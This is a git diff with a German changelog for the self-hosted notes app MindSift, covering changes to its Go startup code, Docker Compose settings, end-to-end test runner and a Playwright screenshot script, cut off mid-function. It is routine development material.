- [x] **Workspace Header & Aktionen aufräumen: Undo/Redo-Buttons, Drei-Punkte-Menü & Status-Pills nach oben in die Tab-Leiste** *(Commit `5f27e7c`)*
|
||||||
|
- Gemini 4: Status-Pillen in der Tab-Leiste, Undo/Redo-Knöpfe, Drei-Punkte-Menü (Anheften, Zusammenführen, Export, Löschen).
|
||||||
|
- [x] **Benutzer-Einstellungen: Granulare Benachrichtigungen & Kanal-Routing (E-Mail & Discord)** *(Commit `d2afcf4, a69bcba`)*
|
||||||
|
- Gemini 4 Oberfläche (Matrix, Tageszusammenfassung, Beobachten-Knopf), Claude Backend (Routing, Bündelung 5 Min., Watcher, Pause, eigene Änderungen); Gruppen-Freigaben in der Tageszusammenfassung (6b3c32a). Release v0.8.0.
|
||||||
|
- [x] **HTML-E-Mail-Templates mit Branding & Watcher-Benachrichtigungen für E-Mail & Discord** *(Commit `a69bcba`)*
|
||||||
|
- multipart/alternative mit schlichtem HTML (inline Styles, keine externen Ressourcen), Discord als ein Embed; gebündelte Nachrichten und Tageszusammenfassung.
|
||||||
|
- [x] **Code-Blöcke im Workspace (`CodeBlockEditor`): Zeilennummern links anzeigen** *(Commit `1d68638`)*
|
||||||
|
- Zeilennummernspalte mit synchronem Scrollen, horizontaler Bildlauf statt Umbruch (v0.9.0).
|
||||||
|
- [x] **Outliner: Standard-Formatierungs-Shortcuts (Strg+B, Strg+I, Strg+K, etc.) für Textauswahl unterstützen** *(Commit `a317ce0`)*
|
||||||
|
- Strg/Cmd+B, +I (umschaltend), +K (Link bzw. Link-Dialog); nicht in Code-Blöcken und schreibgeschützten Notizen (v0.9.0).
|
||||||
|
- [x] **Workspace: Doppelten Scrollbalken (Outer Window & Inner Editor) beheben** *(Commit `6c154af`)*
|
||||||
|
- Workspace füllt das Fenster (100dvh, Flex), nur die Notiz scrollt; am Handy kein getrenntes Scrollen mehr (seitlicher Bildlauf-Bereich behält seine Höhe).
|
||||||
|
- [x] **Workspace: Drag & Drop-Zustand beim Abbruch bereinigen (Fix für dauerhaft sichtbares „Auf Hauptebene verschieben“)** *(Commit `6c154af`)*
|
||||||
|
- Globaler dragend-Listener räumt alle Zieh-Zustände auf.
|
||||||
|
- [x] **Workspace: Sidebar-Toggle-Button bei eingeklappter Leiste dezent stylen (nur Icon in Akzentfarbe)** *(Commit `6c154af`)*
|
||||||
|
- Rahmen neutral, nur das Symbol in Akzentfarbe.
|
||||||
|
- [x] **Build & Versionierung: `-dev`-Suffix strikt auf `mindsift:dev` beschränken** *(Commit `6c154af`)*
|
||||||
|
- main-Builds bekommen v<package-version> als APP_VERSION, Tags den Tag, alles andere -dev.
|
||||||
|
- [x] **Eigener (ausgehender) Webhook ist nicht mehr einstellbar** *(Commit `261579f`)*
|
||||||
|
- Dritter Kanal „Webhook“ in der Matrix und der Tageszusammenfassung, JSON-Digest (event: digest).
|
||||||
|
- [x] **⏸ Zurückgestellt: Workspace: „Heute“-Button für tägliche Notizen (Daily Notes / Logseq- & Obsidian-Workflow)** *(Commit `9008d7c`)*
|
||||||
|
- Als Journal umgesetzt: eine Notiz pro Tag, endlos untereinander, Kalender in der Seitenleiste, Teilen des sichtbaren Tags, pro Gerät abschaltbar.
|
||||||
|
- [x] **Outliner: Nummerierte Listen (`/number`) & Markdown-Einfügen (Absätze, Nummern)** *(Commit `2bfe74e`)*
|
||||||
|
- 1./a./i. nach Verschachtelung, Enter setzt fort, leerer Punkt beendet; Einfügen: Leerzeile trennt Absätze, Einzelabsatz ging verloren (behoben).
|
||||||
|
- [x] **Outliner: Block-Typ-Rückumwandlung in Standardtext (`/text`, Menü & Undo-Sicherheit)** *(Commit `fd72500`)*
|
||||||
|
- /text (p, paragraph, bullet, standard), Aufgaben-Menü und Aktionsblase wandeln zurück; Trennlinie per Backspace/Entf (v0.10.0).
|
||||||
|
- [x] **Outliner: Slash-Command Menü bei Klick ins Leere / Blur schließen & Trigger-Kontext anpassen** *(Commit `fd72500`)*
|
||||||
|
- Erkennung an der Cursorposition, kontextabhängige Befehle, schließt bei Klick daneben und Blur (v0.10.0).
|
||||||
|
- [x] **Outliner: Hässlichen Zeilenumbruch durch TODO-3-Punkte-Menü & Badges beheben** *(Commit `fd72500`)*
|
||||||
|
- Badges und Menü aus dem Fließtext gelöst (v0.10.0).
|
||||||
|
- [x] **Outliner: Aktions-Buttons (Zoom, Auslagern, Löschen) als schwebendes Overlay statt Flex-Breitenverengung** *(Commit `fd72500`)*
|
||||||
|
- Schwebende Blase, Textbreite bleibt gleich (v0.10.0).
|
||||||
|
- [x] **Outliner: Schriftgrößen für H1, H2 und H3 deutlich anheben (H1 auf Titel-Niveau)** *(Commit `fd72500`)*
|
||||||
|
- H1 xl/2xl, H2 lg/xl, H3 base; Notiztitel dünn und größer (v0.10.0).
|
||||||
|
- [x] **Design: Zähler-Badges (`CountBadge`) & Slash-Command-Auswahl mit reduzierter Deckkraft (Opacity 0.6) stylen** *(Commit `1753208`)*
|
||||||
|
- Akzent-Badge über accent-dim mit Rand, Muted über panel-elevated; Slash-Auswahl dezent (v0.10.0).
|
||||||
|
- [x] **Quick Dump / Instant-Capture: Unnötiges Scrolling deaktivieren, Platzhaltertext kürzen & Absende-Pfeil nach unten umdrehen** *(Commit `1753208`)*
|
||||||
|
- Kurzer Platzhalter, kein Scrollen einzeilig, Pfeil nach unten (v0.10.0).
|
||||||
|
- [x] **Triage-Deck: Mobile Schnellaktions-Buttons (Entfernen, Aufgabe, Liste, Notiz) unter der Karte einblenden** *(Commit `1753208`)*
|
||||||
|
- Leiste Wegwerfen/Liste/Notiz/Aufgabe unter der Karte (v0.10.0).
|
||||||
|
- [x] **Workspace: „Neuer Ordner“-Modal zentriert unter dem Mauszeiger öffnen (Oberkante mittig)** *(Commit `1753208`)*
|
||||||
|
- FormSheet mittig unter dem Klick mit Rand-Schutz (v0.10.0).
|
||||||
|
- [x] **Light Theme: Hintergrundfarben in Notizen korrigieren (Sidebar grau, Editor weiß)** *(Commit `2542e0e`)*
|
||||||
|
- Editor weiß, Ordnerleiste grau über --bg-editor/--bg-sidebar (v0.10.0).
|
||||||
|
- [x] **PWA Web Share Target: Text, Links und Bilder aus Smartphone-Apps direkt in den MindSift-Posteingang teilen** *(Commit `86d2cd0`)*
|
||||||
|
- Teilen-Ziel im Manifest, Service Worker legt geteilte Inhalte ab, Import in den Posteingang; Bilder als Hinweistext (Gemini).
|
||||||
|
- [x] **Outliner: Deep-Linking & Verlinkung einzelner Bulletpoints (Block-Referenzen)** *(Commit `1a49e6b`)*
|
||||||
|
- [[Notiz#^id|Notiz › Auszug]], kopieren an jedem Punkt, Auswahl im Link-Dialog, Sprung mit Hervorhebung, Hinweis wenn der Punkt fehlt.
|
||||||
|
- [x] **Workspace: Sidebar-Kopfzeile aufräumen (Überschrift entfernen, Suche & Aktions-Buttons in eine Zeile)** *(Commit `d408e7d`)*
|
||||||
|
- Überschrift entfernt, Suche + neuer Ordner + neue Notiz in einer Zeile.
|
||||||
|
- [x] **Workspace: Ablenkungsfreier Fokus-Modus (Zen-Modus) mit Auto-Hide-Header** *(Commit `226c863`)*
|
||||||
|
- Strg+Umschalt+F / Menü, Lesebreite, Kopfleiste am oberen Rand, Esc beendet.
|
||||||
|
- [x] **Workspace: Notiz-Aktionsleiste in die obere Tab-Leiste integrieren, Editor-Headerleiste komplett entfernen & Statusanzeigen vereinheitlichen** *(Commit `d408e7d`)*
|
||||||
|
- Desktop: Aktionen per Portal in der Workspace-Leiste, feste Reihenfolge, Speicherstatus nur als Symbol; Handy: Titel erst nach Wegscrollen.
|
||||||
|
- [x] **Workspace Journal: Umschaltbares Schließen (Toggle), prominentes Auffahr-Panel & Zustandskonsistenz** *(Commit `375dda9`)*
|
||||||
|
- Panel mit Rahmen, zweiter Klick schließt, Zustand bleibt über Tab-Wechsel.
|
||||||
|
- [x] **Outliner: Hierarchisches Einrücken nach Überschriften & Erkennung von Markdown-Listen (`*`, `-`, `1.`)** *(Commit `375dda9`)*
|
||||||
|
- Einfügen und Import verschachteln Abschnitte unter Überschriften, Enter an Überschrift legt Unterpunkt an, - / * / + als Kürzel.
|
||||||
|
- [x] **Globaler App-Footer mit Versionsnummer, „Über MindSift“, Rechtstexten & Custom-Link (inkl. Demo-Modus)** *(Commit `c181ffe`)*
|
||||||
|
- Footer am Desktop, Über-Dialog, LEGAL_CUSTOM_LINK_* (Gemini).
|
||||||
|
- [x] **Web Push-Benachrichtigungen bei Fälligkeiten über Service Worker & VAPID (Browser & Handy)** *(Commit `38b8c92`)*
|
||||||
|
- Push als Kanal in der Matrix und Tageszusammenfassung, VAPID automatisch, Gerät pro Browser ein-/ausschalten, Test; Verschlüsselung per Test geprüft.
|
||||||
|
- [x] **CI/CD & Pipeline: Dreifachen Build & redundante Testläufe bei Release-Merge/Tags optimieren** *(Commit `141f87f`)*
|
||||||
|
- Tests einmal pro Code-Stand, Release-Tag taggt latest um; Zuordnung als Image-Label statt Zusatz-Tags.
|
||||||
@@ -9,8 +9,10 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
"os/signal"
|
"os/signal"
|
||||||
|
"path/filepath"
|
||||||
"syscall"
|
"syscall"
|
||||||
"time"
|
"time"
|
||||||
|
_ "time/tzdata" // time zones without system tzdata (scratch/alpine images)
|
||||||
|
|
||||||
"github.com/sandrodach/mindsift/internal/api"
|
"github.com/sandrodach/mindsift/internal/api"
|
||||||
"github.com/sandrodach/mindsift/internal/config"
|
"github.com/sandrodach/mindsift/internal/config"
|
||||||
@@ -22,6 +24,12 @@ import (
|
|||||||
var embeddedDist embed.FS
|
var embeddedDist embed.FS
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
// Due dates and alarms use the server's local time; without TZ that is Europe/Berlin
|
||||||
|
if os.Getenv("TZ") == "" {
|
||||||
|
if loc, err := time.LoadLocation("Europe/Berlin"); err == nil {
|
||||||
|
time.Local = loc
|
||||||
|
}
|
||||||
|
}
|
||||||
cfg := config.Load()
|
cfg := config.Load()
|
||||||
|
|
||||||
level := cfg.SlogLevel()
|
level := cfg.SlogLevel()
|
||||||
@@ -37,18 +45,19 @@ func main() {
|
|||||||
}
|
}
|
||||||
defer store.Close()
|
defer store.Close()
|
||||||
|
|
||||||
// Seed SMTP defaults from environment variables into DB if not yet configured in DB
|
|
||||||
store.SeedSMTPDefaultsFromEnv(cfg.SMTPHost, cfg.SMTPPort, cfg.SMTPUser, cfg.SMTPPass, cfg.SMTPFrom, cfg.SMTPTLS)
|
|
||||||
|
|
||||||
if cfg.DemoMode {
|
if cfg.DemoMode {
|
||||||
slog.Info("🧪 Demo-Modus aktiv (MINDA_DEMO=true): Richte Demo-Benutzer admin/admin und user/user ein...")
|
slog.Info("🧪 Demo-Modus aktiv: Setze Datenbank zurück und richte Demo-Accounts ein...")
|
||||||
if err := store.EnsureDemoAccounts(); err != nil {
|
_ = os.RemoveAll(filepath.Join(filepath.Dir(cfg.DatabasePath), "media")) // uploads of the last run
|
||||||
slog.Warn("⚠️ Fehler beim Anlegen der Demo-Accounts", "error", err)
|
if err := store.ResetAndSeedDemo(); err != nil {
|
||||||
|
slog.Warn("⚠️ Fehler beim Einrichten des Demo-Modus", "error", err)
|
||||||
} else {
|
} else {
|
||||||
slog.Info("✅ Demo-Accounts bereit: admin / admin (Admin-Rolle) und user / user (Standard-Rolle)")
|
slog.Info("✅ Demo-Accounts bereit: admin / admin (Admin-Rolle) und user / user (Standard-Rolle)")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Seed SMTP defaults from environment variables into DB if not yet configured in DB
|
||||||
|
store.SeedSMTPDefaultsFromEnv(cfg.SMTPHost, cfg.SMTPPort, cfg.SMTPUser, cfg.SMTPPass, cfg.SMTPFrom, cfg.SMTPFromName, cfg.SMTPTLS, cfg.SMTPSkipVerify)
|
||||||
|
|
||||||
wsHub := ws.NewHub()
|
wsHub := ws.NewHub()
|
||||||
|
|
||||||
staticFS, err := fs.Sub(embeddedDist, "dist")
|
staticFS, err := fs.Sub(embeddedDist, "dist")
|
||||||
|
|||||||
@@ -26,3 +26,9 @@ services:
|
|||||||
- SMTP_PASS=${SMTP_PASS:-}
|
- SMTP_PASS=${SMTP_PASS:-}
|
||||||
- SMTP_FROM=${SMTP_FROM:-}
|
- SMTP_FROM=${SMTP_FROM:-}
|
||||||
- SMTP_TLS=${SMTP_TLS:-true}
|
- SMTP_TLS=${SMTP_TLS:-true}
|
||||||
|
- SMTP_SKIP_VERIFY=${SMTP_SKIP_VERIFY:-false}
|
||||||
|
# Optional: Impressum / Datenschutz (URL oder Markdown-Datei, z. B. per Volume eingebunden)
|
||||||
|
- LEGAL_IMPRINT_URL=${LEGAL_IMPRINT_URL:-}
|
||||||
|
- LEGAL_PRIVACY_URL=${LEGAL_PRIVACY_URL:-}
|
||||||
|
- LEGAL_IMPRINT_CONTENT_FILE=${LEGAL_IMPRINT_CONTENT_FILE:-}
|
||||||
|
- LEGAL_PRIVACY_CONTENT_FILE=${LEGAL_PRIVACY_CONTENT_FILE:-}
|
||||||
@@ -1,3 +1,6 @@
|
|||||||
|
# MindSift – Docker Compose
|
||||||
|
# Eingestellt wird alles in der Datei .env neben dieser Datei. Was jede Variable bewirkt, steht in
|
||||||
|
# .env.example (kopieren: cp .env.example .env). Hier stehen nur die Zuordnungen mit Standardwerten.
|
||||||
services:
|
services:
|
||||||
mindsift:
|
mindsift:
|
||||||
image: git.dsit.me/sandrodach/mindsift:dev
|
image: git.dsit.me/sandrodach/mindsift:dev
|
||||||
@@ -10,19 +13,71 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
- PORT=8080
|
- PORT=8080
|
||||||
- DATA_DIR=/data
|
- DATA_DIR=/data
|
||||||
|
- TZ=${TZ:-Europe/Berlin}
|
||||||
- JWT_SECRET=${JWT_SECRET:-change_this_to_a_secure_random_key_min_32_chars}
|
- JWT_SECRET=${JWT_SECRET:-change_this_to_a_secure_random_key_min_32_chars}
|
||||||
- BASE_URL=${BASE_URL:-http://localhost:8080}
|
- BASE_URL=${BASE_URL:-http://localhost:8080}
|
||||||
- ALLOW_REGISTRATION=${ALLOW_REGISTRATION:-false}
|
- ALLOW_REGISTRATION=${ALLOW_REGISTRATION:-false}
|
||||||
|
- TRUSTED_PROXIES=${TRUSTED_PROXIES:-private}
|
||||||
|
- LOGIN_PROTECTION=${LOGIN_PROTECTION:-true}
|
||||||
- LOG_LEVEL=${LOG_LEVEL:-info}
|
- LOG_LEVEL=${LOG_LEVEL:-info}
|
||||||
# Set LOG_LEVEL=debug or DEBUG=true for detailed request and sync logging
|
- DEBUG=${DEBUG:-false}
|
||||||
# - LOG_LEVEL=debug
|
|
||||||
# - DEBUG=true
|
|
||||||
# Demo mode: if true, automatically seeds demo accounts admin/admin and user/user
|
|
||||||
- MINDA_DEMO=${MINDA_DEMO:-false}
|
- MINDA_DEMO=${MINDA_DEMO:-false}
|
||||||
# Optional SMTP / Mail Configuration (can also be configured in Admin UI)
|
- DEMO_RESET_MINUTES=${DEMO_RESET_MINUTES:-20}
|
||||||
|
# E-Mail
|
||||||
- SMTP_HOST=${SMTP_HOST:-}
|
- SMTP_HOST=${SMTP_HOST:-}
|
||||||
- SMTP_PORT=${SMTP_PORT:-587}
|
- SMTP_PORT=${SMTP_PORT:-587}
|
||||||
- SMTP_USER=${SMTP_USER:-}
|
- SMTP_USER=${SMTP_USER:-}
|
||||||
- SMTP_PASS=${SMTP_PASS:-}
|
- SMTP_PASS=${SMTP_PASS:-}
|
||||||
- SMTP_FROM=${SMTP_FROM:-}
|
- SMTP_FROM=${SMTP_FROM:-}
|
||||||
|
- SMTP_FROM_NAME=${SMTP_FROM_NAME:-MindSift}
|
||||||
|
- NOTIFY_DIGEST_MINUTES=${NOTIFY_DIGEST_MINUTES:-5}
|
||||||
- SMTP_TLS=${SMTP_TLS:-true}
|
- SMTP_TLS=${SMTP_TLS:-true}
|
||||||
|
- SMTP_SKIP_VERIFY=${SMTP_SKIP_VERIFY:-false}
|
||||||
|
# Web-Push: ohne Angabe erzeugt MindSift die Schlüssel selbst
|
||||||
|
# - VAPID_SUBJECT=${VAPID_SUBJECT:-mailto:admin@example.com}
|
||||||
|
# Impressum / Datenschutz
|
||||||
|
- LEGAL_IMPRINT_URL=${LEGAL_IMPRINT_URL:-}
|
||||||
|
- LEGAL_PRIVACY_URL=${LEGAL_PRIVACY_URL:-}
|
||||||
|
- LEGAL_IMPRINT_CONTENT=${LEGAL_IMPRINT_CONTENT:-}
|
||||||
|
- LEGAL_PRIVACY_CONTENT=${LEGAL_PRIVACY_CONTENT:-}
|
||||||
|
- LEGAL_IMPRINT_CONTENT_FILE=${LEGAL_IMPRINT_CONTENT_FILE:-}
|
||||||
|
- LEGAL_PRIVACY_CONTENT_FILE=${LEGAL_PRIVACY_CONTENT_FILE:-}
|
||||||
|
# Eigener Link im Footer (nur https://)
|
||||||
|
# - LEGAL_CUSTOM_LINK_LABEL=${LEGAL_CUSTOM_LINK_LABEL:-}
|
||||||
|
# - LEGAL_CUSTOM_LINK_URL=${LEGAL_CUSTOM_LINK_URL:-}
|
||||||
|
# Bilder und Audio in Notizen
|
||||||
|
- MEDIA_MAX_IMAGE_MB=${MEDIA_MAX_IMAGE_MB:-15}
|
||||||
|
- MEDIA_MAX_AUDIO_MB=${MEDIA_MAX_AUDIO_MB:-50}
|
||||||
|
- MEDIA_QUOTA_MB=${MEDIA_QUOTA_MB:-0}
|
||||||
|
- MEDIA_DEMO_MAX_MB=${MEDIA_DEMO_MAX_MB:-3}
|
||||||
|
# Spracherkennung
|
||||||
|
- STT_URL=${STT_URL:-}
|
||||||
|
- STT_MODEL=${STT_MODEL:-deepdml/faster-whisper-large-v3-turbo-ct2}
|
||||||
|
- STT_LANGUAGE=${STT_LANGUAGE:-de}
|
||||||
|
- STT_API_KEY=${STT_API_KEY:-}
|
||||||
|
- STT_DISABLED=${STT_DISABLED:-false}
|
||||||
|
- STT_MAX_SECONDS=${STT_MAX_SECONDS:-600}
|
||||||
|
- STT_MAX_UPLOAD_MB=${STT_MAX_UPLOAD_MB:-25}
|
||||||
|
- STT_MAX_PARALLEL=${STT_MAX_PARALLEL:-1}
|
||||||
|
- STT_PER_USER_PER_HOUR=${STT_PER_USER_PER_HOUR:-60}
|
||||||
|
- STT_TIMEOUT_SECONDS=${STT_TIMEOUT_SECONDS:-120}
|
||||||
|
|
||||||
|
# Optional: eigene Spracherkennung (Whisper). Zum Einschalten:
|
||||||
|
# 1. die Rauten vor dem Block "whisper" unten entfernen
|
||||||
|
# 2. in .env setzen: STT_URL=http://whisper:8000
|
||||||
|
# 3. mkdir -p whisper && sudo chown 1000:1000 whisper (der Container läuft als UID 1000)
|
||||||
|
# 4. docker compose up -d
|
||||||
|
# Das Modell lädt MindSift beim ersten Start selbst nach ./whisper (large-v3-turbo ca. 1,6 GB).
|
||||||
|
# RAM: large-v3-turbo ca. 2 GB, small ca. 1 GB. Kein Port nach außen nötig.
|
||||||
|
#
|
||||||
|
# whisper:
|
||||||
|
# image: ghcr.io/speaches-ai/speaches:0.8.3-cpu
|
||||||
|
# container_name: mindsift-whisper
|
||||||
|
# restart: unless-stopped
|
||||||
|
# volumes:
|
||||||
|
# - ./whisper:/home/ubuntu/.cache/huggingface/hub
|
||||||
|
# environment:
|
||||||
|
# - WHISPER__COMPUTE_TYPE=int8 # schneller auf der CPU, kaum Qualitätsverlust
|
||||||
|
# - STT_MODEL_TTL=-1 # Modell im Speicher halten statt nach 5 Min. zu entladen
|
||||||
|
# - ENABLE_UI=false # ohne die Weboberfläche von speaches
|
||||||
|
# - LOG_LEVEL=info
|
||||||
@@ -40,4 +40,4 @@ Der Eigentümer tippt mit normaler Verbindung, der Bearbeiter sitzt hinter einem
|
|||||||
|
|
||||||
## Screenshots
|
## Screenshots
|
||||||
|
|
||||||
`e2e/screenshots.sh` baut das Image, startet es im Demo-Modus mit frischer Datenbank und erzeugt die Bilder in `screenshots/` neu (`screenshots.mjs`). Für die Versionsangabe im Kopf: `APP_VERSION=v0.2 e2e/screenshots.sh`. In der Workspace-Aufnahme bearbeitet der Demo-Benutzer `user` gleichzeitig einen Bullet, damit Sperre und Präsenz zu sehen sind.
|
`e2e/screenshots.sh` baut das Image, startet es im Demo-Modus mit frischer Datenbank und erzeugt die Bilder in `screenshots/` neu (`screenshots.mjs`). Danach werden sie verkleinert (Desktop 1280 px, Handy 480 px breit) und als WebP mit Qualität 90 gespeichert (`cwebp` in einem Alpine-Container). Für die Versionsangabe im Kopf: `APP_VERSION=v0.2 e2e/screenshots.sh`. In der Workspace-Aufnahme bearbeitet der Demo-Benutzer `user` gleichzeitig einen Bullet, damit Sperre und Präsenz zu sehen sind.
|
||||||
@@ -84,7 +84,8 @@ const main = async () => {
|
|||||||
const B = await openDoc(browser, user, TITLE);
|
const B = await openDoc(browser, user, TITLE);
|
||||||
|
|
||||||
// Presence
|
// Presence
|
||||||
const presence = await waitFor(async () => B.page.getByTitle('Hat diese Notiz gerade geöffnet').innerText(), 8000);
|
// Presence is an avatar stack; its label lists who is online
|
||||||
|
const presence = await waitFor(async () => B.page.getByLabel(/^Gerade online:/).getAttribute('aria-label'), 8000);
|
||||||
check(!!presence && /Admin/i.test(presence), `Bearbeiter sieht, wer noch in der Notiz ist: ${presence}`);
|
check(!!presence && /Admin/i.test(presence), `Bearbeiter sieht, wer noch in der Notiz ist: ${presence}`);
|
||||||
|
|
||||||
// Admin clicks into the first bullet -> user sees the lock
|
// Admin clicks into the first bullet -> user sees the lock
|
||||||
|
|||||||
@@ -1,18 +1,36 @@
|
|||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
# Builds MindSift, starts it in demo mode on port 18080 with a fresh database and runs the browser tests.
|
# Builds MindSift, starts it in demo mode with a fresh database and runs the browser tests.
|
||||||
# Requires podman (or docker via ENGINE=docker). Usage: e2e/run.sh
|
# Requires podman (or docker via ENGINE=docker). Usage: e2e/run.sh
|
||||||
|
# Every run uses its own container, image tag and port, so runs from several working copies at the
|
||||||
|
# same time cannot remove or test each other's server.
|
||||||
set -euo pipefail
|
set -euo pipefail
|
||||||
ENGINE="${ENGINE:-podman}"
|
ENGINE="${ENGINE:-podman}"
|
||||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||||
WORK="$(mktemp -d)"
|
WORK="$(mktemp -d)"
|
||||||
trap '"$ENGINE" rm -f mindsift-e2e >/dev/null 2>&1 || true; rm -rf "$WORK"' EXIT
|
RUN_ID="$$-$RANDOM"
|
||||||
|
NAME="mindsift-e2e-$RUN_ID"
|
||||||
|
IMAGE="mindsift-e2e-image:$RUN_ID"
|
||||||
|
# A free port above 18000 (E2E_PORT overrides)
|
||||||
|
PORT="${E2E_PORT:-}"
|
||||||
|
if [ -z "$PORT" ]; then
|
||||||
|
for p in $(shuf -i 18100-18999 -n 50); do
|
||||||
|
if ! (exec 3<>"/dev/tcp/127.0.0.1/$p") 2>/dev/null; then PORT="$p"; break; fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
cleanup() {
|
||||||
|
"$ENGINE" rm -f "$NAME" >/dev/null 2>&1 || true
|
||||||
|
"$ENGINE" rmi "$IMAGE" >/dev/null 2>&1 || true
|
||||||
|
rm -rf "$WORK"
|
||||||
|
}
|
||||||
|
trap cleanup EXIT
|
||||||
|
|
||||||
echo "Baue Image …"
|
echo "Baue Image …"
|
||||||
"$ENGINE" build -q -t mindsift-e2e-image "$ROOT" >/dev/null
|
"$ENGINE" build -q -t "$IMAGE" "$ROOT" >/dev/null
|
||||||
"$ENGINE" run -d --name mindsift-e2e --network host -e PORT=18080 -e MINDA_DEMO=true \
|
"$ENGINE" run -d --name "$NAME" --network host -e PORT="$PORT" -e MINDA_DEMO=true \
|
||||||
-e JWT_SECRET=e2e-only-secret -v "$WORK":/data:Z mindsift-e2e-image >/dev/null
|
-e JWT_SECRET=e2e-only-secret -v "$WORK":/data:Z "$IMAGE" >/dev/null
|
||||||
for _ in $(seq 1 60); do curl -s -m 1 http://localhost:18080/api/v1/health >/dev/null && break; sleep 0.5; done
|
for _ in $(seq 1 60); do curl -s -m 1 "http://localhost:$PORT/api/v1/health" >/dev/null && break; sleep 0.5; done
|
||||||
|
|
||||||
echo "Starte Browser-Tests …"
|
echo "Starte Browser-Tests (Port $PORT) …"
|
||||||
"$ENGINE" run --rm --network host -v "$ROOT/e2e":/e2e:Z -w /e2e mcr.microsoft.com/playwright:v1.48.2-jammy \
|
"$ENGINE" run --rm --network host -e MINDSIFT_URL="http://localhost:$PORT" -v "$ROOT/e2e":/e2e:Z -w /e2e \
|
||||||
|
mcr.microsoft.com/playwright:v1.48.2-jammy \
|
||||||
sh -c 'npm install --no-audit --no-fund >/dev/null 2>&1 && node collab.e2e.mjs && node share.e2e.mjs && node lock.e2e.mjs && node channels.e2e.mjs'
|
sh -c 'npm install --no-audit --no-fund >/dev/null 2>&1 && node collab.e2e.mjs && node share.e2e.mjs && node lock.e2e.mjs && node channels.e2e.mjs'
|
||||||
@@ -1,12 +1,26 @@
|
|||||||
// Takes the README screenshots from a fresh server in demo mode (sample data of admin/admin).
|
// Takes the README screenshots from a fresh server in demo mode (sample data of admin/admin).
|
||||||
|
// The title picture and the colour-family grid are taken twice in the same state – light and dark
|
||||||
|
// theme – and joined along a slanted diagonal (light left, dark right); the others are plain light
|
||||||
|
// or dark pictures.
|
||||||
// Usage: e2e/screenshots.sh (builds the image) or MINDSIFT_URL=… SHOTS_DIR=… node screenshots.mjs
|
// Usage: e2e/screenshots.sh (builds the image) or MINDSIFT_URL=… SHOTS_DIR=… node screenshots.mjs
|
||||||
|
// Theme pair: SHOT_LIGHT / SHOT_DARK (default: light / dark, the "Klassik" family)
|
||||||
|
import fs from 'node:fs';
|
||||||
import { chromium } from 'playwright';
|
import { chromium } from 'playwright';
|
||||||
|
|
||||||
const BASE = process.env.MINDSIFT_URL || 'http://localhost:18080';
|
const BASE = process.env.MINDSIFT_URL || 'http://localhost:18080';
|
||||||
const OUT = process.env.SHOTS_DIR || '../screenshots';
|
const OUT = process.env.SHOTS_DIR || '../screenshots';
|
||||||
|
const LIGHT = process.env.SHOT_LIGHT || 'light';
|
||||||
|
const DARK = process.env.SHOT_DARK || 'dark';
|
||||||
const DESKTOP = { viewport: { width: 1518, height: 886 }, deviceScaleFactor: 2 };
|
const DESKTOP = { viewport: { width: 1518, height: 886 }, deviceScaleFactor: 2 };
|
||||||
const MOBILE = { viewport: { width: 390, height: 844 }, deviceScaleFactor: 2, isMobile: true, hasTouch: true };
|
const MOBILE = { viewport: { width: 390, height: 844 }, deviceScaleFactor: 2, isMobile: true, hasTouch: true };
|
||||||
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
|
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
|
||||||
|
// Colour families for the theme grid in the README (Klassik is the title picture)
|
||||||
|
const FAMILIES = [
|
||||||
|
['fjord', 'fjord', 'fjord-night'],
|
||||||
|
['terracotta', 'terracotta', 'terracotta-night'],
|
||||||
|
['polarized', 'polarized-light', 'polarized'],
|
||||||
|
['suri', 'suri-light', 'suri'],
|
||||||
|
];
|
||||||
|
|
||||||
async function login(user) {
|
async function login(user) {
|
||||||
const res = await fetch(`${BASE}/api/v1/auth/login`, {
|
const res = await fetch(`${BASE}/api/v1/auth/login`, {
|
||||||
@@ -20,7 +34,13 @@ async function login(user) {
|
|||||||
|
|
||||||
async function open(browser, token, options) {
|
async function open(browser, token, options) {
|
||||||
const ctx = await browser.newContext({ ...options, colorScheme: 'dark', locale: 'de-DE' });
|
const ctx = await browser.newContext({ ...options, colorScheme: 'dark', locale: 'de-DE' });
|
||||||
await ctx.addInitScript((t) => localStorage.setItem('mindsift_jwt_token', t), token);
|
await ctx.addInitScript(
|
||||||
|
([t, theme]) => {
|
||||||
|
localStorage.setItem('mindsift_jwt_token', t);
|
||||||
|
localStorage.setItem('mindsift_active_theme', theme);
|
||||||
|
},
|
||||||
|
[token, DARK]
|
||||||
|
);
|
||||||
const page = await ctx.newPage();
|
const page = await ctx.newPage();
|
||||||
page.on('pageerror', (e) => console.log('PAGEERROR', e.message));
|
page.on('pageerror', (e) => console.log('PAGEERROR', e.message));
|
||||||
await page.goto(BASE);
|
await page.goto(BASE);
|
||||||
@@ -28,11 +48,88 @@ async function open(browser, token, options) {
|
|||||||
return page;
|
return page;
|
||||||
}
|
}
|
||||||
|
|
||||||
const tab = (page, name) => page.getByRole('button', { name: new RegExp(name) }).first().click();
|
// Anchored, so "Workspace" does not hit the triage button "Als Notiz – Im Workspace"
|
||||||
|
const tab = (page, name) => page.getByRole('button', { name: new RegExp(`^${name}`) }).locator('visible=true').first().click();
|
||||||
|
|
||||||
async function shot(page, file) {
|
// Switches the theme in place (no reload), so both halves show exactly the same state
|
||||||
|
async function setTheme(page, id, dark) {
|
||||||
|
await page.evaluate(
|
||||||
|
([themeId, isDark]) => {
|
||||||
|
const root = document.documentElement;
|
||||||
|
root.setAttribute('data-theme', themeId);
|
||||||
|
root.classList.toggle('dark', isDark);
|
||||||
|
},
|
||||||
|
[id, dark]
|
||||||
|
);
|
||||||
|
await sleep(250);
|
||||||
|
}
|
||||||
|
|
||||||
|
let composer;
|
||||||
|
// Light picture on the left of the diagonal, dark on the right, a thin line between them;
|
||||||
|
// scale < 1 shrinks the result (small pictures of the theme grid)
|
||||||
|
async function compose(lightPng, darkPng, file, scale = 1) {
|
||||||
|
const dataUrl = await composer.evaluate(
|
||||||
|
async ([light, dark, scale]) => {
|
||||||
|
const load = (b64) =>
|
||||||
|
